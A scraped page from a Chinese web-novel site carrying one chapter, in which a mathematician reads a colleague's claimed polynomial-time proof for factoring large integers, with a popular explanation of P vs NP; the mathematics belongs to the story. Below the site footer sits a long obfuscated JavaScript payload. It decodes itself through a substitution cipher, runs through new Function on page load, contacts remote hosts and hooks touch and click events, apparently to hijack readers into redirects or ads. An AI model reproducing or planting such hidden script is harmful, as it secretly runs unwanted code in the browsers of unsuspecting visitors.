首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第六百七十六章:《大正整数因子分解具备多项式算法的求解证明!》

下载APP,无广告、完整阅读
    《大正整数因子分解具备多项式算法的求解证明!》
    看着手机上刘嘉欣发送过来的文件,徐川愣了一下,随即反应了过来。
    他快速的点击文件,将其下载下来的同时拉开了威信。
    你证出来了?
    手指疾速的在九宫格的键盘上敲击了几下,一条简短的信息发送了出去。
    与此同时,他快速的将文件发给自己的助理,并发了条信息过去:帮我将这份文件以最快的速度打印出来送我房间里面来。
    这边的信息发完,那边刘嘉欣的消息也回过来了。
    嗯,这项方法应该可以解决大正整数因子分解问题,但我不确定里面是否还有缺陷,想请你帮我看看。
    徐川快速的扣字回道:正在打印,我这边马上看。
    顿了顿,他补了一句:我明天下午回去。
    没事的,不用急,你先忙你的事情,论文不用着急。
    对面的消息很快就回复了过来,不过徐川已经没在意了。
    他起身从背包中摸出了电脑,快速的打开后将pdf论文上传到了电脑上。
    在打印出来的论文送到他手上前,电脑的屏幕总比手机更大一些。这种顶级的数学论文,他已经迫不及待的想要看看具体内容了。
    打开,论文的正题映入眼帘中。
    《大正整数因子分解具备多项式算法的求解证明!》
    论文的标题很直白,就是p=np?问题中的第一问,也是之前他和刘嘉欣讨论过的难题。
    不过对于p=np?问题,他的了解并不是很深。
    作为其提出的20世纪18个重大数学未决问题之一,数学家斯梅尔选择了下列源自传统数学问题的np完全问题作为p=np?问题的代表。
    即:给定z?上关于n个变量的k个多项式,问是否存在多项式时间的算法判定它们在(z?)n上有公共零点。而这一描述提法主要是受到了布朗韦尔关于希尔伯特零点定理判定算法的影响。
    简单的来说,就是设f1,···,fk是n个变元的复系数多项式,根据希尔伯特hilbert零点定理,f1,···,fk在复数域上不存在公共零点当且仅当存在n个变元的复系数多项式g1,···,gk满足k∑i=1·gifi=1。
    如果说,对于这些专业数学语言理解起来有些困难的话,p=np?问题用相对通俗一些的话语来描述则可以分成两部分。
    ‘p类问题“和‘np类问题“。
    当然,这里是为了帮助理解而简约化的两个概念,是抛开了数学上的严谨性和复杂性,简而明了的理解做出的简化。
    p代表了这样一类问题,计算机在解决它们的时候可以有速度非常快的方法。这个速度和计算机硬件无关,仅仅取决于这个解决方法本身的便捷性。
    而np代表了另一类问题,它们有最优解,但是,其中很多问题,计算机在寻求最优解时,没有快速的方法,甚至,只能傻傻的、暴力的、尝试所有可能的组合,然后找到最优解。
    np问题中,最难的一类问题,被称为npc,也就是np完全问题。
    如果这样说依旧不够具体的话,用一个小小的故事来举例,相信你能更加简约的理解。
    假设你在参加一个盛大的宴会,想要知道里面有没有认识的人。
    这个时候,宴会的主人对你说,你一定认识正站在甜点桌右边角落里的女士小a,于是你立刻扫向那里,发现他说的是对的,你的确认识她。
    于是,通
    过宴会主人的信息,你很容易判断出a女士你认识。
    但如果他不告诉你这些,你就需要环顾整个大厅,审视过每一个人,然后才知道有没有认识的人。
    通过宴会主人的暗示,找到小a女士,就是p类问题;
    而你按照他的提示发现自己认识小a女士,容易检查到小a女士就是np问题。
    在某岛国作家《嫌疑人x的献身》推理中,石神和汤川曾讨论,解决一个命题和判断一个命题是否正确,哪个更难。
    其实数学界早就已经给出了答案,p=np?问题就放在哪里,它告诉了所有人,生成问题的一个解,通常比验证一个给定的解,要花费更多时间。
    比如,如果让你计算世界上所有原子个数的总和,这个问题很困难,甚至无解。
    但是,如果有人告诉你世界上一共有500个原子,那么你能很快验证他是错的。很容易验证,却不容易求解,这种就是np类问题。
    p类问题是可以在多项式时间内解决并验证的一类问题;np类问题是可以多项式时间验证但是不确定能否在多项式时间内解决的一类问题。
    很显然,所有p类问题都属于np类问题,但是无法确定np是否等于p。
    而自p=np?提出以来,无论是数学界也好,还是计算机领域也好,都做了很多尝试。
    要证明p=np,最显然的方法就是给出一个np完全问题的多项式时间的算法。
    但在过去的几十年里,一大批数学家和程序人员为寻找np完全问题的多项式时间的算法做了很多工作,都没有成功。
    当然,也有很大的一批人在尝试给出p≠np?,甚至在如今的主流数学界和计算机行业,大部分的学者和研究人员都认为p≠np?。
    原因很简单,如果p=np,则意味着,每一个np问题都可以转化成p,也就是每一个难题最终可以变成一个简单命题,让计算机可以快速求解。
    这意味着人类目前的数学体系、计算机体系、常识....等等各方面的东西都将被颠覆。
    如果最终p=np被证实,我们就可以将任何一个np问题转化为一个p问题。那些现在看起来很难的问题都能够轻松的解决它。
    比如围棋有了终极解,生物领域中可以轻松破解遗传密码来任意操纵基因序列,很多数学猜想能够用计算机来演算推导,大量难题被解决等等。
    同时,如p=np,这将会在未来很短的时间内导致所有加密算法彻底失效,你的银行卡,手机密码,社交账号变得不再安全,黑客能够轻松进入你的电脑,比特币,区块链这些近年来很火的概念将会成为无人问津的领域。
    如果p=np,那么在这个宇宙中,就必然存在着一把能够解开这个世界上所有问题的简单钥匙。
    如果这样的钥匙真的存在,它大概早已在这个宇宙中存在了。
    比如,人类可能早已有了万事万物看一遍就会的本领,或是某种生物一生下来就不必为了生存而抗争,因为它们的算法极其优异,可以在任何环境中以最高效的方式生存下来。
    但无论是从直觉、哲学、宗教、亦或者科学上,人们都很难相信这样的宇宙捷径存在。
    老实说,徐川也不相信宇宙中会存在着这样的一把‘万能“钥匙,但涉及到p=np?的证明,哪怕是阶段性的,他也会拿出最集中的精力来进行处理。
    .......
    电脑屏幕上的论文不断的翻动着,一行行的数学公式和释义在徐川眼眸中划过。
    正在这时,房间外传来叮咚叮咚的门铃声。
    快速的起身,徐川穿过卧房打开了房门,门口,跟随着他一起出差的生活助理唐思佳正站在门口,手中抱着厚厚一叠刚打印出来的文件。
    教授,这是您要的东西。
    将还带着余温和墨香的论文递了过来,唐思佳补了一句:论文下有一叠没用过的a4纸,可以给您演算。
    虽然知道徐川一般会随身携带笔和一些稿纸,但能让她以最快的速度打印出来的东西,毫无疑问重要至极。
    因此,她担心这位随身携带的稿纸数量不够,便直接从打印房里面抽了一叠空白a4字一起送过来了。
    果然,在听到了论文下有附带的空白a4纸张后,徐川眼前一亮,快速的从助理唐思佳手中接过了论文和稿纸。
    太好了,谢谢!
    唐思佳微微一笑,开口道:不客气,如果教授您还有其他的需求,给我发个消息就行......
    对面,都没听清楚自家这个小助理说了些什么,徐川就性急的摆了摆手,抱着论文和稿纸快速的回到了酒店房间的书房,甚至连房门都没顾得上关。
    门外,唐思佳脸上带着的笑容僵硬了一下,随即默默的关上了门,转身离去的同时顺带在心中祝福了一句。
    虽然她看不懂打印出来的论文,但出于好奇,在打印的空闲期,她用手机搜索了一下论文的标题。
    而这份论文标题,似乎涉及到了七大千禧年难题之一的p=np?猜想。
    作为徐川的助理,尽管不是数学专业的,但她多多少少也了解一些数学领域的东西,很清楚每一个千禧年难题的重量,以及对国家,乃至全世界的影响力。
    任何一个千禧年难题的解决,都能极大的推动数学,乃至其他学科,甚至是整个社会的发展。
    就如同ns方程一样,尽管她看不懂证明,甚至都弄不明白ns方程这个问题的意思,但她却很清楚的知道,可控核聚变技术的解决,正是建立在ns方程的基础上。
    希望教授这一次也能够顺利的解决p=np?难题。
    看着转身进入书房中的背影,唐思佳默默在心中祷告了一句。
    ......
    书房中,徐川并不知道外面的小助理还有那么多的心思,此刻他的注意力全都集中在手中的论文上。
    相对比在电脑屏幕上看论文,他更喜欢这种可以用手掂量的知识。
    【释义:本文给出一个p类问题可以用一个确定性的算法在多项式么时间内判定或者解出的方法及其多项式时间判定算法。给出了判定方程组f1=0,···,fk=0存在复数解算法的复杂性布尔多项式(1)中gi的项数的上界.......】
    .....这是旨在探索p和np的复杂性类别之间关,在以前的论文[1]中,我们已经证明了satf问题可以多项式化为在一个集合的特殊分解下寻找该集合的特殊覆盖的问题,反之亦然。
    .....定义1:称g=是加标多级图(labeledultistagegraph),如果满足以下条件:
    为集合,v=vunuvu…uv,vnv=0,0≤ij≤l,i≠j。如果uv,0≤i≤l,称u所在级为i级,也称u是i级的。l称为g的级。
    为边的集合,e中的边均为有向边,它用三元组(u,v,l)表示。如果(u,v,l)e,1≤l≤l,则uev-1vev。称(u,v,l)为g的第l级的边。
    3.和都只包含唯一。称中的唯一为源点,记为s,称,中的唯一为汇点,记为d......
    4........
    .......
    手中的论文在眼眸中流过,徐川一瞬不瞬的翻阅着每一句话,每一个数学公式,甚至是每一个标点符号。
    整数的因数分解是一个易于理解、清楚明白的问题,但它却并不是一个简单的问题。
    相对而言,较小整数的因数分解是一个小学算术问题,可一旦充分大的数,例如一个50位的整数的因数分解问题就是一个超级数学难题了。
    如果是用小学学过的‘试除法“(如7((4^2)xp^2)÷(7^2)其结果为4p^2),即使采用电子计算机,一个人一辈子也做不出来。
    就算是假设人类从一产生起就一代接一代地利用电了计算机用试除法来分解这个整数,即便是从计算机发明到现在,过了数个世纪,这个50位的数仍然无法分解出来。
    所以寻找一个多项式,做到在有限的时间内完成大正整数因子分解,是数论领域数学家的终极梦想之一。
    包括徐川自己,也一直都在期待着有人能够完成它,哪怕是仅仅在这条路上推进一步,都是无比期待的。
    .....也就是说,这些问题在多项式上是等价的。
    在本文中,我们证明了所有这些算法过程都具有多项式的时间复杂度相对于输入数据的长度,找到了一项可以处理大正整数因子的多项式分解算法。
    当最后一句话映入眼帘时,坐在书桌前不知道多久的徐川终于放下了手中的论文,长舒了口胸中的浊气,揉了揉有些发酸的腰椎。
    尽管这种顶级猜想的证明不是看一遍就能完全确定的东西,但从第一遍的论文来看,以他的数学直觉来看,刘嘉欣她,做到了!
    ........

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();